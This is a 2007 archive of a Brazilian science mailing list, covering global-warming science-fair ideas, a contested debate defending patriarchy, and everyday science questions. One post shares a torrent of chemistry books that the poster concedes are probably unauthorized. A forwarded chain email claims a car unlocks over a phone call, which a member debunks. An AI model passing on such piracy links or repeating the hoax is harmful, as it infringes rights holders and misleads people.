> >
> > Shridhar
> > http://entropicando.blogspot.com
> >
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Fw: feira de ciencias
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 15:44

Uma idéia rápida que eu tive foi montar uma estufazinha de
vidro/acrílico/celofane transparente com um termômetro dentro e uma lâmpada
iluminando. Um termômetro fora pra comparar também ajuda...

Outra coisa é botar água com gelo "iceberg" num becker com marcações, marcar
o nível da água antes e depois de derreter pra exemplificar a subida das
águas...

Talvez sejam simples demais...

Shridhar

On 8/8/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
> Aos meus saudáveis assessores.
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: elba05@uol.com.br <elba05%40uol.com.br>
> Para: leobarretos
> Enviada em: segunda-feira, 6 de agosto de 2007 18:56
> Assunto: feira de ciencias
>
> Ola !!! Meu nome é elba, sou professora e estava procurando algo de
> interessante na internet e acabei encontrando seu e-mail. Não sei se vc
> podera me ajudar, estou procurando uma ideia para desenvolver uma maquete
> relacionada ao assunto:aquecimento global, porem nao encontrei nada sendo
> que tudo que vi foram ideias muito complexas pois dou aulas para alunos da
> 4ª serie do ensino fundamental. Se vc tiver alguma ideia por favor me envie
> preciso achar algo com uma certa urgencia pois precisarei apresentar com
> meus alunos uma feira de ciencias.
> Desde ja, Obrigada
>
> ----------------------------------------------------------
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.476 / Virus Database: 269.11.8/941 - Release Date: 07/08/2007
> 16:06
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 17:10

Olá, Murilo.

> apesar de que tenha desconsiderado a seguinte frase - onde
marco posição: ''Para mim é uma novidade completa e equivocada...''

Tendo 63 anos você é de uma geração que ainda tinha alguma coisa.
Quando você cresceu, lá pelos anos 50 em não sei que cidade, ainda
devia existir distinção entre homens e mulheres, principalmente se
você tiver crescido em uma pequena cidade. A minha geração (bem
denominada geração "X") cresceu em um mundo bem diferente. Quando eu
nasci, em 1970, a mulher e o sexo já haviam se libertado. Por isso eu
sinto essa crise mais claramente que você. As novas gerações (os que
nasceram por volta de 1985) pegaram um cenário ainda mais sinistro.
Eu quero ver onde isso vai dar.

> Admiro demais seu destemor e sua coragem em se expor em tamanha
generalização, pq ela vem, contraditoriamente, no primeiro momento,
invalidar o restante do seu trabalho, salvo p/o público seleto que
por ventura irá ler, entender e se convencer dos seus argumentos.

Não entendo como o que eu disse pode invalidar as minhas idéias.

> Em tempo, tenho 63 anos - não 36 - e ando de jeans, camiseta e
tênis e todos me chamam de Murilo, ou até Murilão... not a big deal...

Se nós estivéssemos em 1910, ou em qualquer época anterior, nós
estaríamos andando de terno (ou a roupa equivalente da época) e você
seria o Sr. [seu sobrenome]. O primeiro nome era usado em crianças,
ou, no máximo, mulheres.

Você não percebe a singularidade de nossa situação? O homem existe há
uns 300 mil anos, e durante todo este tempo a sexualidade feminina
foi controlada. Pela primeira vez em toda a existência humana, a
mulher encontra-se livre. Talvez o que ocorreu ao longo do século XX
tenha sido a maior revolução por que passou a humanidade. Ela só
rivaliza com a revolução neolítica, mas esta ocorreu ao longo de
alguns milhares de anos. É uma situação absurda. Onde nós viemos
parar? O que aconteceu? As novas gerações estão perdidas.

Saudações.
João de Carvalho




SUBJECT: Re: Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 17:33

Olá, Manuel.

Andar de terno hoje em dia já não significa nada. A masculinidade e o
homem adulto já acabaram. Vestir um terno chega a ser quase ridículo.
Você já notou que o terno masculino mudou pouquíssimo nesses últimos
200 anos? E, ao que tudo indica, ele vai continuar assim ao longo das
próximas décadas; afinal, para onde ele iria? É um beco sem saída. A
única parte do terno que exibe adornos, cores e criatividade é a
gravata. Nas gravatas ainda podemos ver listras, bolinhas, entre
outras formas, e nas mais variadas cores. A única mudança que eu
concebo é a eliminação da gravata, o que acabaria com o último
resquício de criatividade da roupa masculina. Eu vejo nesse fenômeno
o esgotamento da civilização ocidental e a crise da masculinidade.

Saudações.
João de Carvalho




SUBJECT: Re: [RN] Hominídeos vieram da Ásia e não da África, diz estudo
FROM: "Danniel Soares" <dannielsc@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 18:26

Ainda que já tivesse sido a hipótese anterior...

Me parece um tanto arriscado tentar traçar relações filogenéticas
apenas por uma característica adaptativa, como dentes... acho que
mesmo em características morfológicas, haveriam candidatos melhores...

Recentemente ouvi qualquer coisas sobre padrões de suturas dos ossos
temporais, por exemplo... certamente menos passíveis de paralelismo
por seleção natural, então indicadores de parentesco menos
arriscados. Haveria ainda assim o risco de eventuais "ciladas" do
desenvolvimento; talvez pudessem mudar enganosamente como efeito
colateral da seleção de uma coisa aparentemente não relacionada sob
um ponto de vista meramente adaptativo, de "projeto". Por isso o
melhor é o "total" das características, e quanto menos passíveis de
seleção, melhores... Darwin já previa Willy Hennig...

É quase maldade minha lembrar, mas pelos dentes apenas talvez o homem
pudesse ser parente bastante próximo do porco...


Danniel Soares


--- Em ciencialist@yahoogrupos.com.br,
"rmtakata" <roberto.takata@...> escreveu
>
> http://www1.folha.uol.com.br/folha/ciencia/ult306u318109.shtml
> ---------------
> Se as conclusões se confirmarem, será realmente uma grande surpresa.
>
> []s,
>
> Roberto Takata
>




SUBJECT: RE: [ciencialist] Re: mastigar comprimidos
FROM: "Anderson -" <der_antikrist@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 18:29

>Mas então na verdade aquilo dos hipoglicêmicos melhorarem
>instantâneamente ao comer uma bala ou tomar um suco é coisa de filme?
>Acho que vi isso num filme com Al Pacino. Não lembro bem qual agora.

O Poderoso Chefão, Parte 3 :)

_________________________________________________________________
Descubra como mandar Torpedos SMS do seu Messenger para o celular dos seus
amigos. http://mobile.msn.com/



SUBJECT: Ocio 2007
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 18:58

Para quem gosta de fuçar os comandos mais elaborados do Excel e o resto do
pacote do Office, sugiro visitar o excelente blog:
http://www.ocio2007.com.br
O pessoal é bem didático e os exemplos muito úteis.
Abraços,
Esteban.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: feira de ciencias
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 21:30

--- Em ciencialist@yahoogrupos.com.br, "Shridhar Jayanthi"
> Uma idéia rápida que eu tive foi montar uma estufazinha de
> vidro/acrílico/celofane transparente com um termômetro dentro e uma
> lâmpada iluminando. Um termômetro fora pra comparar também ajuda...

Com isso o aluno terá uma miniestufa. Mas é importante lembrar q o
chamado efeito estufa, apesar do nome, NÃO funciona como uma estufa.

Uma estufa funciona pelo impedimento da convecção do ar, o q não é o
caso do efeito estufa (e, por tabela, do aquecimento global).

Para criar um modelo do efeito estufa - e de seu efeito sobre a
temperatura - o melhor é pegar dois recipientes: um com ar atmosférico
normal e outro com uma mistura rica em CO2 (ele pode obter isso com
gelo seco ou com reação de bicarbonato de sódio e ácido acético).
Expõe-se as misturas gasosas a uma mm fonte de energia térmica
(preferencialmente na forma primária de luz) e depois de um tempo
medem-se as temperaturas.

[]s,

Roberto Takata



SUBJECT: Re: Fw: feira de ciencias
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 21:32

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Maquete sobre aquecimento global? Que tal uma reprodução do Cristo
> Redentor com a água batendo pelos joelhos?

Considerando-se q o pico do Corcovado está a uns 700 metros acima do
nível do mar, não seria uma representação realista da elevação
esperada mm nos cenários mais drásticos. (A menos q haja um
solopamento da base do morro.)

[]s,

Roberto Takata



SUBJECT: Re: mastigar comprimidos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 21:35

--- Em ciencialist@yahoogrupos.com.br, "Danniel Soares"
> Mas então na verdade aquilo dos hipoglicêmicos melhorarem
> instantâneamente ao comer uma bala ou tomar um suco é coisa de
> filme?

Não necessariamente. Seja por efeito placebo ou por efeito fisiológico
direto, o organismo pode liberar glucagon e aumentar momentaneamente a
glicemia.

> E quanto ao álcool de alguns antissépticos bucais? Ficar com
> antisséptico bucal com álcool por mais tempo que o indicado poderia
> ser perigoso também, por um "atalho" de outra forma inexistente na
> absorção?

Para crianças não é recomendado antissépticos q tenham álcool na
fórmula - idem para alcoólatras. Na verdade antissépticos à base de
álcool não são recomendados para ninguém, nem tto pela absorção do
álcool como pelo efeito deletério da substância sobre a mucosa bucal.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Fw: feira de ciencias
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/08/2007 21:50

Sim, sim, verdade, a estufa não é ideal apesar de ela impedir irradiação
também...

Mas se for pra ilustrar o efeito do CO2, botar os dois recipientes e
iluminar não vai ser o suficiente sem botar um "conversor" de luz visível em
IR (um bonequinho do comandos em ação vestido de preto ou um pouco de água,
por exemplo). O efeito do CO2 é que ele é opaco ao infra-vermelho mas
transparente para à luz vermelha.

Gostei da idéia do bicarbonato + vinagre no recipiente! Um becker emborcado
e a quantidade certa de CO2 seria capaz de gerar uma capinha no teto do
becker, hehe.... isso seria interessante!

Uma outra idéia que me ocorreu agora seria usar uma brasa de carvão quente e
botar um recipiente desses com CO2 para "proteger" um termômetro... Se
alguém fizer isso, põe no YouTube! eu gostaria de ver!

Shridhar

---------- Forwarded message ----------
From: rmtakata <roberto.takata@bol.com.br>
Date: Aug 8, 2007 8:30 PM
Subject: [ciencialist] Re: Fw: feira de ciencias
To: ciencialist@yahoogrupos.com.br

--- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
"Shridhar Jayanthi"
> Uma idéia rápida que eu tive foi montar uma estufazinha de
> vidro/acrílico/celofane transparente com um termômetro dentro e uma
> lâmpada iluminando. Um termômetro fora pra comparar também ajuda...

Com isso o aluno terá uma miniestufa. Mas é importante lembrar q o
chamado efeito estufa, apesar do nome, NÃO funciona como uma estufa.

Uma estufa funciona pelo impedimento da convecção do ar, o q não é o
caso do efeito estufa (e, por tabela, do aquecimento global).

Para criar um modelo do efeito estufa - e de seu efeito sobre a
temperatura - o melhor é pegar dois recipientes: um com ar atmosférico
normal e outro com uma mistura rica em CO2 (ele pode obter isso com
gelo seco ou com reação de bicarbonato de sódio e ácido acético).
Expõe-se as misturas gasosas a uma mm fonte de energia térmica
(preferencialmente na forma primária de luz) e depois de um tempo
medem-se as temperaturas.

[]s,

Roberto Takata




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Em busca de uma nova ordem
FROM: "GiL" <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 05:17

João:

Quando abandona a estética que costuma usar em seus textos, fica
evidente seu objetivo: Justificar um sistema opressivo contra as
mulheres. Seu livro chamaria alguma atenção em convenções da Klu Klux
Klan, ou de radicais religiosos ou neonazistas .

Você provavelmente começou pela conclusão, e direcionou a escolha de
suas argumentações e fontes neste sentido.
Seu livro poderia se chamar "Quero Poder: Reinventando o patriarcado"

http://pt.wikipedia.org/wiki/Patriarcado
http://pt.wikipedia.org/wiki/Misoginia





SUBJECT: Re: Canetas para cds
FROM: "GiL" <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 05:20

Valeu, Lourenço.

Nao tinha lembrado do exemplo das carteiras.

--- Em ciencialist@yahoogrupos.com.br, Lourenço <listaslou@...> escreveu
>
> Nào, pois a tinta é dissolvida pelo plástico da embalagem, tal como
acontece com comprovante de eleição, se guardar na carteira, na parte
de plástico, a tinta dissolve e gruga em tudo.
>
> Até.
>
> Lourenço.
>
> listaslou@...
>
>
>
> ----- Original Message -----
> From: Gil
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, August 08, 2007 12:28 PM
> Subject: [ciencialist] Canetas para cds
>
>
> Seção "cotidiano":
> Alguém sabe me informar como funcionam aquelas canetas para escrever
> em cd's? Porque a tinta deles fica no cd, enquanto a maioria das
> outras não?
> Fiquei curioso ao ver que, depois de alguns meses em um envelope
> plástico, a tinta acabou se soltando em alguns cds, ficando garrada no
> envelope. Fiquei imaginando o efeito que isso teria se ela se
> despregasse no caso daqueles porta-cds em que eles se empilham num
> suporte com pino .Por via das dúvidas, tomo o cuidado atulmente de
> manter os cds face-de-gravaçao com face-de-gravaçao, pra evitar da
> tinta manchar a superfície de leitura.Justifica-se esse cuidado?
>
> Gil
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: 4,34 GB de livros de química (em inglês)
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 09:38

Disponível em torrent:
http://www.mininova.org/tor/604611

Aqui está uma lista dos livros:
http://www.mininova.org/det/604611

O torrent também está disponível no Demonoid, que abre os registros toda
sexta-feira.

Para baixar o arquivo, é necessário um programa de torrent, recomendo o
utorrent, que pode ser pego em
www.utorrent.com


SUBJECT: Re: 4,34 GB de livros de química (em inglês)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 10:40

Há autorização dos detentores dos direitos de cópia?

[],

Roberto Takata



SUBJECT: Re: [ciencialist] Re: 4,34 GB de livros de química (em inglês)
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 11:23

rmtakata wrote:
> Há autorização dos detentores dos direitos de cópia?

hmmm... provavelmente não... de qualquer forma, os interessados podem
baixar por risco próprio...


SUBJECT: ondas pelo celular
FROM: luiz rodrigo <baygonbr@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 11:26

Essa é nem o Mister M explica!

Grande abraço a todos.

Luiz Rodrigo Grochocki

Nos dias de hoje isso é realmente interessante para muitos de nós.

A tecnologia permite a resolução de problemas de forma rápida e segura. Veja o texto.
Chave reserva do carro
NÃO É QUE FUNCIONA MESMO!!!!!!!
TENTEM E CONFIRMEM!!!!!!
Se você fechou o carro e deixou as chaves dentro dele (e se as portas
trancam e destrancam com o acionador eletromagnético). não se
desespere:
1) ligue, pelo seu celular, para a pessoa que tenha a cópia da chave
do seu carro, geralmente alguém da família na sua casa, onde guarda a
chave-reserva.
2) Segure o seu celular a cerca de um palmo do seu carro e peça para
a pessoa que está com a cópia da chave, pressionar, no acionador, o
botãozinho de abrir a porta e que mantenha-o acionado junto ao
microfone do telefone. E ZÁS! INCRÍVEL! As portas do seu carro se
abrirão!
Milagre? Não,é Física mesmo!
(É apenas transmissão de ondas eletromagnéticas). Ninguém terá que
levar as chaves até você. A distância não é problema, você pode estar a
quilômetros de distância do local onde está a chave reserva).
PASSE AOS SEUS AMIGOS. A COISA FUNCIONA MESMO!!!!!


Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: onda por celular
FROM: luiz rodrigo <baygonbr@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 11:29

E agora Mister M?

Nos dias de hoje isso é realmente interessante para muitos de nós.

A tecnologia permite a resolução de problemas de forma rápida e segura. Veja o texto.
Chave reserva do carro
NÃO É QUE FUNCIONA MESMO!!!!!!!
TENTEM E CONFIRMEM!!!!!!
Se você fechou o carro e deixou as chaves dentro dele (e se as portas
trancam e destrancam com o acionador eletromagnético). não se
desespere:
1) ligue, pelo seu celular, para a pessoa que tenha a cópia da chave
do seu carro, geralmente alguém da família na sua casa, onde guarda a
chave-reserva.
2) Segure o seu celular a cerca de um palmo do seu carro e peça para
a pessoa que está com a cópia da chave, pressionar, no acionador, o
botãozinho de abrir a porta e que mantenha-o acionado junto ao
microfone do telefone. E ZÁS! INCRÍVEL! As portas do seu carro se
abrirão!
Milagre? Não,é Física mesmo!
(É apenas transmissão de ondas eletromagnéticas). Ninguém terá que
levar as chaves até você. A distância não é problema, você pode estar a
quilômetros de distância do local onde está a chave reserva).
PASSE AOS SEUS AMIGOS. A COISA FUNCIONA MESMO!!!!!

Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: 4,34 GB de livros de química (em inglês)
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/08/2007 12:08

Só uma dúvida:



O tal livro está disponibilizado na internet, o ao cesso é de todos, real e
irrestrito.

Se não se permite que se baixe, qual a razão de dsp via internet?

Está implícito, assim, que você pode consultar, mas baixar não?

Não tenho a menor dúvida de que os autores sabem que, nem que a vaca tussa,
downloads serão feitos. Se a obra valer alguma coisa. Ou não?

Além do mais, creio que a lei permite até xeroxs de obras, desde que para
fins de pesquisas somente.





Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Nando
Enviada em: quinta-feira, 9 de agosto de 2007 11:23
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: 4,34 GB de livros de química (em inglês)



rmtakata wrote:
> Há autorização dos detentores dos direitos de cópia?

hmmm... provavelmente não... de qualquer forma, os interessados podem
baixar por risco próprio...





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: 4,34 GB de livros de química (em inglês)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 13:13

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> O tal livro está disponibilizado na internet, o ao cesso é de todos,
> real e irrestrito.

A pergunta é se ele foi disponibilizado respeitando-se os direitos
autorais.

> Além do mais, creio que a lei permite até xeroxs de obras, desde que
> para fins de pesquisas somente.

O q não quer dizer q alguém possa disponibilizar cópias para terceiros.

[]s,

Roberto Takata



SUBJECT: Fw: feira de ciência --- lista de duvidas/sugestoes/perguntas
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 09/08/2007 14:11

Oi pessoal,
estou atarefado até a tampa! Poderiam ajudar respondendo aos e-mails abaixo?

agradeço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
1)
De: "Tony Aguiar" <tonny-aguiar@hotmail.com>
Para: <leobarretos@uol.com.br>
Assunto: feira de ciência


| boa tarde Sr. Luiz Ferraz Netto,
| meu nome é Toni e venho até você para lhe perguntar se há fornecimento de
| suporte em feira científica?
| sou professor da rede pública e estamos eleborando uma feira científica para
| o mês de outubro entre os dias 08 - 11 ( sem definição) leciono na D.E. da
| Região de Sumaré, na escola E.E. RESIDENCIAL SÃO SEBASTIÃO em Hortolândia -
| SP, a clientela é muito carente e a U.E. não possui condições de ir além!!!!
| por favor, me dê notícias sobre tal fim!!!
| desde já lhe agradeço!!!
| obrigado
|

2)De: "ana salete salete" <aesalete@hotmail.com>
Para: <leobarretos@uol.com.br>
Assunto: feira


| BOA TARDE!!!!
| COMOMONTAREI UM AQECEDOR SOLAR COM PET, UMA USINA HIDRELÉTRICA OU UMA RODA
| D?AGUA COM MENINOS DE 6ª SÉRIE PARA FEIRA CUJO TEMA É ENRGIA E MEIO
| AMBIENTE?
|

3)-----Mensagem Original-----
De: Rangel Siqueira
Para: leobarretos@uol.com.br
Enviada em: segunda-feira, 6 de agosto de 2007 17:34
Assunto: Duvidas sobre projeto



Boa tarde Professor Luiz Ferraz.

Sou aluno do curso de engenharia da computação na UNIUBE e gostaria de saber sobre o projeto do "Dimmer - Controlador de potência", alias gostei muito da publicação. Tenho um projeto para realizar na faculdade e gostaria de saber qual modificação deveria fazer para que esse dimmer fosse controlado por tensão de 0 a 10V. Se você pudesse se me ajudar ficaria muito grato.Desde já agradeço sua atenção.
--
Atenciosamente Rangel Cardoso Siqueira

4)-----Mensagem Original-----
De: keila de Carvalho Reis
Para: leobarretos@uol.com.br
Enviada em: segunda-feira, 6 de agosto de 2007 17:37
Assunto: o esperimento de balao...


Oiii aki eu n sei,o pq do balão encher sem soprar ele! Você poderia me explicar?

5)-----Mensagem Original-----
De: "Luciano Lima" <lima@iarts.com.br>
Para: <leobarretos@uol.com.br>
Enviada em: segunda-feira, 6 de agosto de 2007 17:49
Assunto: Circuitos Integrados


Boa tarde professor, meu nome é Luciano, sou programador C#(C Sharp),
trabalho com desenvolvimento e segurança em Internet, porém estou
iniciando na área de Eletrônica, como não sei nada nada, gostaria de uma
sugestão de livros e sites sobre Circuitos integrados, diodos,
resistores e tudo relacionado com a montagem de hardware para conexão
via porta paralela ou serial (ambos via PC) para controlar coisas como
leds, sensores, trancas, braços mecanicos e tal. Acho muito interessante
essa área, porem nao encontro material de acordo na Net, não sei se não
estou procurando direito, mas to tentando...rsrs.
Se tiver algum livro q possa indicar, ou até mesmo PDF´s que possa
disponibilizar eu agradeceria.


Minha ideia é mesmo controlar coisas via computador, entender como as
coisas funcionam através de CI, mas não tenho ideia de onde começar meus
estudos.
Desde já agradeço a atenção
Abraços
Luciano Lima

6) etc. .... vai até uns 50!

[]'



SUBJECT: Re: [ciencialist] ondas pelo celular
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/08/2007 14:22

Que absurdo!
Esse é o primeiro celular que 'vejo' que é capaz de modular a sua transmissão pela presença física de outra onda eletromagnética (de maior freqüência ainda!)! E depois, na recepção, ter um transdutor cerâmico capaz de responder à freqüência da onda moduladora ... que patacoada!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "luiz rodrigo" <baygonbr@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 9 de agosto de 2007 11:26
Assunto: [ciencialist] ondas pelo celular


Essa é nem o Mister M explica!

Grande abraço a todos.

Luiz Rodrigo Grochocki

Nos dias de hoje isso é realmente interessante para muitos de nós.

A tecnologia permite a resolução de problemas de forma rápida e segura. Veja o texto.
Chave reserva do carro
NÃO É QUE FUNCIONA MESMO!!!!!!!
TENTEM E CONFIRMEM!!!!!!
Se você fechou o carro e deixou as chaves dentro dele (e se as portas
trancam e destrancam com o acionador eletromagnético). não se
desespere:
1) ligue, pelo seu celular, para a pessoa que tenha a cópia da chave
do seu carro, geralmente alguém da família na sua casa, onde guarda a
chave-reserva.
2) Segure o seu celular a cerca de um palmo do seu carro e peça para
a pessoa que está com a cópia da chave, pressionar, no acionador, o
botãozinho de abrir a porta e que mantenha-o acionado junto ao
microfone do telefone. E ZÁS! INCRÍVEL! As portas do seu carro se
abrirão!
Milagre? Não,é Física mesmo!
(É apenas transmissão de ondas eletromagnéticas). Ninguém terá que
levar as chaves até você. A distância não é problema, você pode estar a
quilômetros de distância do local onde está a chave reserva).
PASSE AOS SEUS AMIGOS. A COISA FUNCIONA MESMO!!!!!




SUBJECT: RE: [ciencialist] p/Carvalho - Em busca de uma nova ordem
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/08/2007 15:23


Carvalho, oi...
P/chegar a este mundo que está aí e que vc desaprova; pelo menos parcialmente, suponho; nós, da minha geração, quebramos e ralamos muito chifre pelo caminho.
Só falta vc declarar é um xiita e árabe medieval, ou coisa parecida, até com fundo religioso. Se for isso mesmo, fico por aquí! Não há mais o que dizer.
Detesto qualquer tipo de radicalismo. Sou radicalmente contra o radicalismo.
Ser machão, durão e mandão com mulher ignorante, fraca e burra é mesmo uma sopa, meu...
Uma nova ordem será inevitável, principalmente pela via da filosofia em seu mais amplo expectro... como ''até um relógio quebrado consegue estar certo duas vezes por dia''... vá fundo... mas não vale reclamar...
Em tempo,sou de MG, vivendo em Sampa desde fev/1962... ou seja, sou um capiauzão recauchutado por aquí, como vc, argutamente deve ter observado.
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [ciencialist] Re: Em busca de uma nova ordem
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/08/2007 15:40


Gil,
oi...
Nossas opiniões estão bem similares.
Gostei do comparativo com a KKK e com o novo nome proposto.
Paciência... quando um camarada quer agir e escrever como formador de opinião, argumentando à vontade e se expondo a qq público, ele terá estar mais ou menos preparado p/alguma reação, certo?
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Em busca de uma nova ordem
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 16:40

Olá João

Gil disse: "Quando abandona a estética que costuma usar em seus
textos, fica evidente seu objetivo: Justificar um sistema opressivo
contra as mulheres."

Desculpe, João, mas eu tive a mesma sensação do Gil, sua posição é de
confronto, onde apenas a opressão feminina, corrente no passado, pode
permitir o livre, e correto, modo de viver masculino.

Como se a libertação feminina, uma conquista importante destas
décadas, fosse absolutamente incompatível com a liberdade masculina.
Ou oprimimos as mulheres, ou somos oprimidos. É isso?

Eu tenho uma filha, linda, de 18 anos. Quando ela nasceu, eu queria
muito uma menina, e fiquei muito feliz, mas ao mesmo tempo pensei que
se ela tivesse nascido em qualquer outra época, eu teria remorsos,
pois sua vida seria mais difícil, mais restrita, menos feliz, e até
bastante violenta e injusta.

Como pode defender que a liberdade de metade da população do planeta é
algo "injusto" ou ruim???

Como pode pensar que sua felicidade se baseia em quanto você pode
submeter outras pessoas, mulheres?

Concordo que depois de séculos de patriarcado, foram precisas ações um
tanto violentas para se conseguir a liberdade feminina, e que isso
pode ter assustado os homens, pouco acostumados a ter de se relacionar
como iguais com as mulheres. Mas nada justifica a opressão da mulher,
e a infelicidade destas não faria a minha.

A questão masculina é descobrir como se comportar e manter a auto
estima SEM precisar de um bode expiatório ou da opressão dos outros.
Me parece o mesmo que o fim da escravidão, quando donos de escravos
tiveram de reaprender a viver sem oprimir outras pessoas. Não parece
justo dizer que a liberdade dos escravos foi "maléfica" para os donos
de fazendas, não?

Eu sou mais homem se estiver de terno??? Não é meu caráter ou minha
personalidade, ou mesmo as escolhas que faço durante a vida, que me
definem como homem, mas meu terno? Minha cara feia e pouco senso de
humor? É isso que é ser homem???

Eu uso jeans e camiseta, e tenis, e ando de bicleta, e brinco e dou
risada, etc, etc. Isso me torna um adulto com problemas e com falta de
hombridade?

Essa tese é um tanto esquisita, João..:-)

Homens e mulheres não são "construtos" sociais, mas fenômenos reais,
biológicos. Mas não de forma deterministica, absoluta, mas
estatística. A maioria dos homens faz isso, a maioria das mulheres faz
aquilo. Mas nada impede, para seres culturais de cérebro enorme, de
aprender e de se adaptar. Essa é a maior caracteristica humana, a
adaptação, não a evolutiva, que leva milhares de anos, mas a cultural,
que leva dias ou meses.

João: "Creio existir também uma crise da feminilidade. As mulheres
de hoje ganharam uma liberdade que jamais foi desfrutada por mulheres
de nenhuma época passada. Elas estão meio perdidas com isso."

Sei, sei..:-) E a solução seria tirar essa liberdade delas e decidir
por nós mesmos, certo?..:-)

Sinto, mas parece muito o discurso escravagista de logo depois da
abolição: os negros não sabem o que fazer com a liberdade, não tem
capacidade de decidir, e seria melhor se nós voltássemos a mandar neles.

João: "Por isso eu
sinto essa crise mais claramente que você. As novas gerações (os que
nasceram por volta de 1985) pegaram um cenário ainda mais sinistro.
Eu quero ver onde isso vai dar."

Vai dar onde sempre deu, em avanços e novos costumes..:-) Um cara
disse o seguinte (citação de cabeça, não literal): esses jovens estão
destruindo a nação, não respeitam os mais velhos, não respeitam as
tradições, onde tudo isso vai acabar? Era um escritor grego, que viveu
300 anos antes de cristo, revoltado com a "juventude de seu tempo"..:-)

Parece familiar?

João: "Pela primeira vez em toda a existência humana, a
mulher encontra-se livre. Talvez o que ocorreu ao longo do século XX
tenha sido a maior revolução por que passou a humanidade. Ela só
rivaliza com a revolução neolítica, mas esta ocorreu ao longo de
alguns milhares de anos. É uma situação absurda. Onde nós viemos
parar? O que aconteceu? As novas gerações estão perdidas."

Mas é só isso que o preocupa? Temos centenas, milhares de coisas,
fenômenos, eventos e situações que "nunca ocorreram", a maioria delas
é benéfica e vantajosa de todo modo. A escravidão, por exemplo, nunca
antes ela foi eliminada do planeta, e nunca antes ela havia sido
declarada ilegal por definição.

Nunca tínhamos vivido tanto tempo (menos de 30 em toda nossa história,
e mais de 85 nos dias de hoje), nunca doenças haviam sido eliminadas
da face da Terra (como a varíola), nunca se pode controlar a concepção
com camisinhas e pílulas. Nunca antes, em 300 mil anos de história,
pessoas ao redor do mundo puderam se comunicar em tempo real e trocar
idéias.

As novas gerações viverão mais, com mais conforto, com mais
informação, com mais liberdade, com mais possibilidades de escolhas,
como tem sido sempre. As antigas gerações passarão seus últimos dias
na Terra com inveja das novas, e com saudades do que se costuma chamar
